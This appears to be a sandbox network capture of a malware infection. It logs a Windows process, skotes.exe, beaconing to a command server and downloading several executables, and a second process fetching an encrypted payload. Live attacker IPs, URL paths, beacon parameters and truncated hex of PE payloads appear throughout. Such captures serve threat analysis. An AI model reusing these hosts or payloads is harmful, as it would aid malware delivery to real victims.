<c>1005343001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1005360001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005361001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005362031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005363001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49832	31.41.244.11	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:07.876055002 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 10, 2024 19:45:08.739862919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:08 GMT Content-Type: application/octet-stream Content-Length: 4342784 Last-Modified: Sun, 10 Nov 2024 16:45:48 GMT Connection: keep-alive ETag: "6730e33c-424400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 72 e6 2e 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 10 48 00 00 1c 69 00 00 32 00 00 00 60 b8 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 b8 00 00 04 00 00 85 04 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 66 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 4f b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELr.g(Hi2` H@C@ _fsPOO pfh'@.rsrc fx'@.idata fx'@ 7fz'@tshfwepr\|'@lfotsxrfPB@.taggant0`""B@
Nov 10, 2024 19:45:08.739958048 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:08.739970922 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:08.740353107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:08.740365028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: f%D
Nov 10, 2024 19:45:08.740966082 CET	1236	IN	Data Raw: b2 59 68 b5 ed 25 51 ae 5b 7b 29 f3 61 f1 33 8b eb f7 48 43 ea 1b 5a 6f f1 83 aa 5b 35 71 88 85 98 84 e3 8a 24 d2 af 7c 02 a1 1f 8e 04 12 c0 52 ca d5 d6 7f 14 49 26 1b c2 4d be be 1b 17 f7 dc f1 56 a7 ac 16 83 14 9d bf 6c 0b 44 9b 7c 6e 53 fe 9c Data Ascii: Yh%Q[{)a3HCZo[5q$\|RI&MVlD\|nSHl?`EHp}-m9W]b3~%ezt2$U:MQIHv{VZV]RDT653nkvGGo
Nov 10, 2024 19:45:08.740977049 CET	1236	IN	Data Raw: f2 35 91 0a ad 3d e2 a7 ae 8d b7 16 dd 0e c7 a2 d4 03 a4 e4 94 4a 12 3d a6 c4 7e 12 ae b6 0a 17 2e d7 4b b7 ab 91 32 12 76 39 f8 99 a2 b6 ca 23 fb c4 66 b2 9d 56 fe ad 15 55 53 e8 7c 03 69 b0 16 e4 8b 75 be e3 de 3e 41 dd 16 7e be 3f 12 9c ba fb Data Ascii: 5=J=~.K2v9#fVUS\|iu>A~?*0jbiZo.H7ej(Rx.@MoKrNDfj>T_,9TN0b'+L?bd4<{Cn_"\7eoVxdo4ZTB{05N:6B&xF
Nov 10, 2024 19:45:08.740989923 CET	848	IN	Data Raw: 84 90 7e 01 76 c3 f0 9d 40 c4 63 9f 57 69 f8 31 42 a1 9a a2 b1 59 61 29 87 2d 5d 99 d6 ab 8f 14 f5 35 13 1f f6 69 31 43 15 59 2f ff 91 ba 6e 4f d3 a8 04 1d de 56 52 17 40 a9 6c 16 26 8d b9 b2 f9 5a 40 94 ff f8 6f 40 04 e5 a3 8d 84 dc 5e 80 87 d9 Data Ascii: ~v@cWi1BYa)-]5i1CY/nOVR@l&Z@o@^vV'I)^KQOTF!M1!XC='McB=@Y8Va:e0,zWV<&=3[6FU_^Ku?L;>5A\|>9#"E-4bK*\@fv~Am"
Nov 10, 2024 19:45:08.741682053 CET	1236	IN	Data Raw: e8 a3 13 39 53 7a 89 12 11 21 72 73 1a 74 29 c0 d3 3d 5d 44 fa 8f 68 cb 79 f0 15 e7 67 0f 45 20 48 32 5e 09 84 05 63 22 f9 8f 5b f7 8f 8a 08 92 4a 5d 9e df c7 41 3a e1 91 5a fa 3d 4e 8f b2 ba 16 c3 e0 1b 81 62 f4 ba 9c ed a1 7f de ec f1 c0 43 98 Data Ascii: 9Sz!rst)=]DhygE H2^c"[J]A:Z=NbCC<IH `G;uwf>~r7etAneFjcCheE)u!yWd%u\.B?9^6FnvTeGQcK>K
Nov 10, 2024 19:45:08.741694927 CET	1236	IN	Data Raw: be 85 e4 6f a6 df d8 fd a7 66 fc 2a ab 58 d1 d6 fc 4d 69 22 2b eb ae 3e c0 49 7d 16 b4 fd 42 1e 86 6b 93 4e 16 66 6d 1a 97 aa 1d 45 6f 7a e4 1e 7b fb 79 36 10 f5 3b eb be 64 82 5d 8e 28 d0 dc e9 bd cc fe 44 f9 7b 6e fa 76 03 4e 3d 97 59 47 fa 2a Data Ascii: ofXMi"+>I}BkNfmEoz{y6;d](D{nvN=YGl6,j(PC\^ \|FpbD\wnEFr"U[J]<qfkUV4Cy9uR-: [AOY;>lBdBBZ%\d:2ElFz(s9mq&gge
Nov 10, 2024 19:45:08.744966984 CET	1236	IN	Data Raw: 01 43 e6 74 1e 3f 5e 28 b2 6d ea 7c c7 1b 7a ce 26 4a c6 b2 ff a7 4b 87 fc 5c 15 cb 52 f8 45 2e b0 78 eb 69 38 08 6d de 01 4d ee 9e 66 08 52 73 c6 b9 1d b3 7e 83 1e 1e 12 89 c0 02 24 29 74 e7 c0 18 cf 16 89 e5 ea 12 a0 43 9c ba 8f 83 02 1d 74 f1 Data Ascii: Ct?^(m\|z&JK\RE.xi8mMfRs~$)tCtW$Y)7)csE!e@2uqcC]Vp7NdhR^c3UX-1s[\'Sge-]AzZ"-RU{b,]UDC-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49886	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:17.792264938 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 33 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005343001&unit=246122658369
Nov 10, 2024 19:45:18.708210945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49891	185.215.113.16	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:18.725579977 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 10, 2024 19:45:19.629070044 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:19 GMT Content-Type: application/octet-stream Content-Length: 3144704 Last-Modified: Sun, 10 Nov 2024 18:22:54 GMT Connection: keep-alive ETag: "6730f9fe-2ffc00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 00 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 30 00 00 04 00 00 8e 20 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@00 0@Th@ @.rsrc@@.idata @yyfmebrr@@@adaaxhow//@.taggant00"/@
Nov 10, 2024 19:45:19.629107952 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:19.629121065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:19.629131079 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:19.629141092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 10, 2024 19:45:19.629172087 CET	1236	IN	Data Raw: 2c 43 6c 51 70 3f e7 d7 d3 3f c3 1d 52 9f c4 05 2c b3 c3 9d cb 3f e7 1d c4 55 5f fd 45 9f c4 15 10 4e e6 8d 78 f1 24 f1 17 45 1b 16 52 9f c4 05 2f cb 24 f1 06 cc 24 f1 03 cc 34 f1 23 36 ef 4d 2c 43 e0 92 6b 42 ef 1d 55 9f c4 09 2c 43 ef 1d 97 6f Data Ascii: ,ClQp??R,?U_ENx$ER/$$4#6M,CkBU,Co%,=CfaphO/c+UC_GeapKVzY,$sz3,Q_rB,Hj/C?,C$BU c+.A$wCQ,$CRpKA"\
Nov 10, 2024 19:45:19.629189968 CET	1236	IN	Data Raw: dd f8 67 49 70 5b 66 e6 16 12 e1 92 36 f8 91 b9 9a c7 c4 59 2e 43 ef f4 db 3f f7 04 18 3f e0 89 e2 f8 91 b9 b6 5d 90 b9 4c c4 8d ce 96 97 c4 fd 1c b1 e3 1e bc 9f e8 9d 5e af 60 55 4a c4 a8 b8 96 9f c4 2d 99 9f c4 fd 96 9f c4 09 b7 9b 91 b9 4c cc Data Ascii: gIp[f6Y.C??]L^`UJ-L$sx+epozLE?,S:,?Oe-,Cjd-,Co/Hk,CEdQp_lMQDSS9,?e,Cj
Nov 10, 2024 19:45:19.629203081 CET	1236	IN	Data Raw: 94 97 c4 e9 1b 33 67 51 28 27 66 ed 6e eb f1 de 49 45 ee d3 2e 15 63 11 be 2a ae 9e 6e 33 67 49 28 2c 6f 39 70 47 ef 86 2c de 85 6f 99 4f cb 2d 1d de 8c 17 2c 43 64 51 70 2b 98 b7 96 12 67 ed 6e eb f1 de 46 5e ee de 96 0b 56 30 32 61 09 c0 b9 ca Data Ascii: 3gQ('fnIE.c*n3gI(,o9pG,oO-,CdQp+gnF^V02aXB~vh${<Jw,HmC?`-Eg,/g`72onB?DJ,?$'_,?~'xxx
Nov 10, 2024 19:45:19.629214048 CET	1236	IN	Data Raw: ac 77 db 59 1c 48 7b dd ae f9 e8 13 2c 43 e0 a2 6e 01 24 f1 7b 43 a9 52 70 3b ef 83 7a c3 ec f1 17 43 17 23 9e 23 99 52 70 4b eb 42 17 b5 c5 c7 d3 3f e7 13 c0 4a a9 52 70 3b ee 95 e3 3f d6 fd 6e 48 59 de 2e 01 63 11 00 c4 a8 5a 9b d1 e8 bf 4c f8 Data Ascii: wYH{,Cn${CRp;zC##RpKB?JRp;?nHY.cZLo,C!R$B,,CgQp[7@pC,,C??CI$`,CLmlrGNfeheQpKb/C.p*LjA?C6
Nov 10, 2024 19:45:19.629230022 CET	1236	IN	Data Raw: 2b cc 34 f1 13 48 6d a9 11 43 ef d0 11 33 df 0d 1c 00 2e 11 1c 33 df 0d 55 85 e0 0d 1c 33 df d0 d1 47 df 0d 1c 33 a8 5c 3c 33 df 0d 1c 00 2e 21 1c 33 df 0d 55 85 f0 0d 1c 33 df d0 d1 57 df 0d 1c 33 6c d3 0f c4 a8 be 90 fb ed 40 8a ea 4b 13 2c 43 Data Ascii: +4HmC3.3U3G3\<3.!3U3W3l@K,CfB,.?3gQp(lQp??W,/Cn<2?,C5D!.Cg\|bnHE,@oo~-3aN\|*?X3U3K3^3
Nov 10, 2024 19:45:19.634114981 CET	1236	IN	Data Raw: 7e 8a 14 66 97 05 6d b3 10 cc 34 f1 2b 4f 21 8a d4 45 a9 51 2f 23 66 ee 90 02 92 42 ec ca ae 9d b1 44 64 61 70 57 1b 02 9b 80 ed d7 d4 45 cf 96 7e c4 af bb c3 20 66 d3 90 e5 ed 94 e3 3f f3 41 28 01 29 1c 0c c4 a9 12 9b 8d 6c b4 1d d3 78 ad bf d3 Data Ascii: ~fm4+O!EQ/#fBDdapWE~ f?A()lxxxGybnHE(@2#EN\*mIWIx#_#^#(#T#/#^$#(#mkKmOD2x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49895	185.228.235.50	80	7768	C:\Users\user\AppData\Local\Temp\1005343001\923e9bc10d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:19.181376934 CET	87	OUT	GET /OuonWYxAVjorkgXdRtho1731126585 HTTP/1.1 Host: home.fvteja5sb.top Accept: /
Nov 10, 2024 19:45:20.163621902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sun, 10 Nov 2024 18:45:20 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="J6WGJYtmKJfjzpHVtTfQ;" Last-Modified: Sat, 09 Nov 2024 04:29:45 GMT Cache-Control: no-cache ETag: "1731126585.2274387-10815536-4084865517" Data Raw: e7 7a 6d 89 cf 97 0b e0 e7 e7 05 e5 29 09 77 3b 31 2f e8 ab b6 a5 75 51 ef 61 cf 82 73 b7 dc 7c 13 f7 a2 83 cc 34 86 05 27 d2 17 ad 6d ed 9d 00 4e 31 9c e3 4f 7b 27 04 98 3b 22 dc 9f 0f a9 15 9c 0a f4 89 3f cd 43 b9 61 4e 87 62 a7 8a 84 75 ad 94 c0 b7 2f 28 56 71 e6 8b 2f fc a6 f7 0c 99 2c c0 72 89 d6 b1 be af 5b be 64 b3 db c9 45 46 25 18 49 a5 1c 3e 7e 41 aa 0a 3c da ef 93 9c cf 6f 89 7c 1f b8 89 6d 01 c5 ed 07 cc 17 7b 06 2f 5b 77 95 17 80 a8 c0 df 9b 19 c2 b3 6d ad 52 f3 07 b7 75 dd 5d 64 b8 eb 38 d4 67 ed d7 73 2b 9b a4 3c 88 2a 7a c4 4c 78 2c 7c 35 47 70 d0 cc d6 dd 05 4d a7 01 2c 9c 44 d8 a6 7b a6 4b f1 2c 33 16 ca 3f 55 4e 5f e0 9f 8f 42 84 d0 a2 ef a5 b7 92 51 97 38 fb c3 f7 29 f2 b6 ed cc 96 b9 4c 06 e9 be ec de 3e 9f fa 2f e0 3b 0e 36 58 6d b5 f4 9a db 19 c8 75 cd 65 85 61 77 f2 91 55 55 54 e4 9d b4 48 56 ef 86 cf 85 b3 81 10 bf 26 ff 2f 92 21 dd 8d 1f 58 30 e7 48 51 13 82 54 18 06 41 44 e1 5c c5 49 12 3e 73 1e e6 54 ba 98 06 13 88 00 9e c7 32 70 e7 b0 49 fc b0 a6 d6 b7 4b 28 1b 23 6c 2a [TRUNCATED] Data Ascii: zm)w;1/uQas\|4'mN1O{';"?CaNbu/(Vq/,r[dEF%I>~A<o\|m{/[wmRu]d8gs+<zLx,\|5GpM,D{K,3?UN_BQ8)L>/;6XmueawUUTHV&/!X0HQTAD\I>sT2pIK(#l^/CjoI"g} e6~6Toa=\!'KXEw+R\uw:yms7^#'lX)s8Y</CCz6}T!BJ_3D-?$U0QIOt"l \#iKmZ6oq#cY\f<`]lA>R]<.R@ D6M%PaAcG41pXy]/'xUZ"me[EiG{3C`u2es-4`g;\(W&2PZJF5}Q"Pi)E]KSdZbxhNNEwsZjkV^)Kd>_O$+lBF~xF55}z, (f0HR[Vm70?a[B%MKt@791y
Nov 10, 2024 19:45:20.163810968 CET	1236	IN	Data Raw: de fc 15 bd 17 00 5f f1 4f 32 6a 91 83 a5 4a 61 74 68 c3 5b 5b 5b 5d 9d f3 de 56 af 08 59 4e 9d 89 1d 63 c3 9c ed 51 4a 66 e5 65 6b 35 34 a6 f4 73 6c df 74 7c 8a 77 f9 a6 9b ae 69 c3 61 77 f8 fc cd 2a f5 b0 c4 25 5f c4 a9 42 a0 67 d2 a4 49 6b 66 Data Ascii: _O2jJath[[[]VYNcQJfek54slt\|wiaw*%_BgIkfM;x+tN"gMhPpH!F6=x!ZEXN^b+L,.q>$%\|6C2RTmJ1 -2,7:{czBu86.,Kg}:FuFNz@vxX
Nov 10, 2024 19:45:20.163832903 CET	1236	IN	Data Raw: 6f 93 71 f0 13 fe 2f ed a4 38 9a 6e 14 06 bd c2 0c 10 ce 66 f2 95 ab a6 63 96 25 94 d4 9e dc 6d 75 12 b1 0b 73 6a aa 0d 7b d6 57 bf 13 c7 c4 d0 bc bd 77 d9 36 f9 f3 42 5c e2 35 32 b2 82 26 f0 d1 8c 20 20 0f e9 45 53 98 8a 84 89 8f cd 69 7c 4a e2 Data Ascii: oq/8nfc%musj{Ww6B\52& ESi\|J)7JeLUq5:a}Q<SCJC+N`2~jx{Zw8O4*+ZW3yfqu$P56IL$c@Jn_H)qj
Nov 10, 2024 19:45:20.163856030 CET	1236	IN	Data Raw: 20 8d ec cd 14 6a a0 14 cf 9a 6b c8 88 70 95 a2 eb 90 4d 4e c3 91 6e fe 5f 73 a5 b3 d1 26 87 7a 1c 3e ff da fd 9e 53 ac 4a c3 49 8d 05 3e 69 eb 31 64 5f 73 49 7a 6b 11 9b 79 0e 40 ad 85 4d c1 f8 2f a4 a3 d6 27 ea dd f9 51 fb d8 53 33 d6 3d c4 04 Data Ascii: jkpMNn_s&z>SJI>i1d_sIzky@M/'QS3=R\>kSg^xX)>\|ZEkZ :fjviz?uHB\|M2.8\|!C>kSi3Az/NE#7SG;`ZXLMjp
Nov 10, 2024 19:45:20.163870096 CET	848	IN	Data Raw: cf c2 75 31 49 3f d6 18 22 44 23 f1 6a b2 04 c7 43 db 68 63 4b fe 17 52 ee 66 90 47 b8 1d e7 1f fd 91 19 88 7f a6 13 d1 9d 29 b6 20 1e e2 bb 3e 1a 81 d6 35 d6 aa 1d 85 e8 76 d1 92 39 14 80 b1 01 db c8 86 bb 17 2e 7e 75 fb ce ee a9 89 2f 67 7f cc Data Ascii: u1I?"D#jChcKRfG) >5v9.~u/gk_fx:]p-CKck"YSYbcb(5{^SV-k!aq(T"cV a$i6)~S5@&zTniVqY6+
Nov 10, 2024 19:45:20.163885117 CET	1236	IN	Data Raw: ba b1 a3 45 87 b7 26 ed 90 af cc 93 c1 d0 d7 b3 a2 c3 79 09 19 41 73 3e 5c db d4 58 bf 11 dd bf 41 64 47 a5 3f 23 d7 a6 79 ac 88 b5 c3 d4 1b fe 97 e0 75 15 7f 76 b4 06 61 b2 b0 5a 7d 99 43 b1 ad de ca d8 74 91 30 70 1b d8 28 04 d9 4f 10 67 79 09 Data Ascii: E&yAs>\XAdG?#yuvaZ}Ct0p(Ogyk\|??7+JT6\|8 dng =_;!4~?~@C-@S D8"UvjaW/ss9\|no]Yyz_\;8Pw R!Gk%N
Nov 10, 2024 19:45:20.163898945 CET	1236	IN	Data Raw: ce e4 be fe 48 07 15 20 03 60 4c 09 7e 24 60 d8 f7 aa ee f1 d5 1f 05 e0 06 f8 34 f9 35 75 60 2d 3e f8 2b 69 f2 00 ef c2 20 cf bc 84 f7 de 48 76 e5 04 f1 f9 2b 99 e4 27 01 bf a2 57 6f 9d 05 97 0f 1a 42 f2 42 ec 5a 74 06 5d 4f c6 3d 2b 4b 18 56 b5 Data Ascii: H `L~$`45u`->+i Hv+'WoBBZt]O=+KV]uXr@D0KSz5OIJ@7{7<48Ysd2;Q`[]Lz2{@15_\keWJz1T<,F^niOW);.^fl.{
Nov 10, 2024 19:45:20.163914919 CET	1236	IN	Data Raw: af 61 04 16 0f 57 ff 49 44 5a b0 e1 8b 89 49 9b b5 a6 55 76 d4 98 75 50 bc 3d 7e fe ba ab af 99 f4 f2 9a 09 af 66 69 d9 ba ae 97 79 58 fd 1a 7a 9f 05 a9 3b 74 e7 7a e4 c8 39 c8 51 75 ab 5c a2 e8 2f bb 24 5f 51 4e 8a 87 6d 56 78 52 11 a4 20 16 8e Data Ascii: aWIDZIUvuP=~fiyXz;tz9Qu\/$_QNmVxR Y6nX<ZUaC-YvRL~X\#tn3 2a>}r5$wf9"nIQ>D=}_{haoF?9$tgQfj)'
Nov 10, 2024 19:45:20.163929939 CET	1236	IN	Data Raw: e9 54 58 ce dd 7c 7c ea cd c4 05 63 1a 5b b9 6a 32 d4 8d 3e b1 09 59 fa d5 82 c0 b5 5c 7c 7e 10 12 6d b1 81 67 c0 87 c0 34 9b 56 6e d0 12 13 98 45 a7 df 59 8e 10 46 22 32 c2 83 a8 a4 a5 a8 f6 56 2b a7 ee 2a 8a 53 52 0c d2 d3 d6 59 d3 6c e3 0d d6 Data Ascii: TX\|\|c[j2>Y\\|~mg4VnEYF"2V+*SRYlrR@de 6_r9M'Kh3M?q;%DkM}bhv"4)v{mn=wA0jNJ"lX.`9$GFBj\rk-iV5
Nov 10, 2024 19:45:20.163944006 CET	848	IN	Data Raw: 51 cf 8e 84 be 3d 51 bb 45 e9 34 51 85 9d df 84 90 78 36 d2 cc 12 7c 56 68 fd 95 9e b3 50 c4 fa ab 40 2c df c7 c2 52 8f 7e 84 e3 33 9a 2e d3 e5 8c 2c 03 1c fe b7 33 7f 60 0f 02 c1 6e 36 e2 e9 8f f3 2f 0b 5d 59 7a 8b bc a8 dd 3c 0f 32 69 c4 3a 4f Data Ascii: Q=QE4Qx6\|VhP@,R~3.,3`n6/]Yz<2i:OP_W]-t7>-z-o!8`H!WyZD#^Km\]RgTL{sN**J[3uZNR<8H`'ktl]?}d}~_b/r5Uh<"kG{{ARa7`/
Nov 10, 2024 19:45:20.168950081 CET	1236	IN	Data Raw: 68 16 db 1d 8e 3a 6a 3a 0a 3d 9e d7 30 4b ca 85 3b af 2d b6 c3 96 83 97 d6 97 ea 1b 8f 98 1b 61 a1 74 b1 c4 74 16 85 0c ee d5 56 33 49 95 de 6c 47 6d dd 8d de 49 84 dd 42 ee 68 09 19 11 fe 42 ef 4a 5b 83 44 94 3b 74 da a7 f7 a0 e9 46 05 91 30 e1 Data Ascii: h:j:=0K;-attV3IlGmIBhBJ[D;tF0~amY23yZpQanVE!kf>:dc.+\|e``N[q[HNF:UO_]N.<!Q_Rsmqs.n6zIJfgdR8.F%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49943	185.215.113.43	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:28.223207951 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 33 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005360001&unit=246122658369
Nov 10, 2024 19:45:29.138560057 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49950	185.215.113.16	80	4076	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 10, 2024 19:45:29.310457945 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 10, 2024 19:45:30.210432053 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 10 Nov 2024 18:45:30 GMT Content-Type: application/octet-stream Content-Length: 1792512 Last-Modified: Sun, 10 Nov 2024 18:23:07 GMT Connection: keep-alive ETag: "6730fa0b-1b5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 